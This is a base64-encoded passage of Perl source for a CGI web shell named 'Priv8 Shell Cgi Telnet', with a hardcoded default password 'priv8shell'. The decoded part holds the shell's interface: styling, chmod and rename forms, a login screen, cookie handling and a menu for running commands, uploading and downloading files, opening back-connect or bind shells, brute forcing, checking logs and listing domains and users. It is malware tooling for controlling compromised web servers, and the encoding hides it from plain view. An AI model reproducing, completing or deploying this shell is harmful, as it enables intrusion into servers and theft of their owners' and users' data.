CQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiB3aGlsZTsKfQoKcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZjExMTE7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmMTExMTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KCi5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7CgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8KCXZhciBhamF4PSIiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46MDsgZm9udDpub3JtYWwgNzUlIE9wZW4gU2Fucywgc2Fucy1zZXJpZjsgYmFja2dyb3VuZC1pbWFnZTp1cmwoJ2h0dHBzOi8vaS5pbWd1ci5jb20vaExjUUNCeC5naWYnKTsgfSA8L3N0eWxlPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmZmZmZmIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+WyBQcml2OCBTaGVsbCBDZ2kgVGVsbmV0IF08L2ZvbnQ+PGJyPjxmb250IHN0eWxlPSJmb250OiA4cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+UGFzc3dvcmQ6IHByaXY4c2hlbGwgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjZmYxMTExIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNmZjExMTEiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiNmZjExMTEiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+PGZvbnQgY29sb3I9IiNmZjExMTEiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjZmYxMTExIj48Zm9udCBjb2xvcj0iI2ZmMTExMSI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg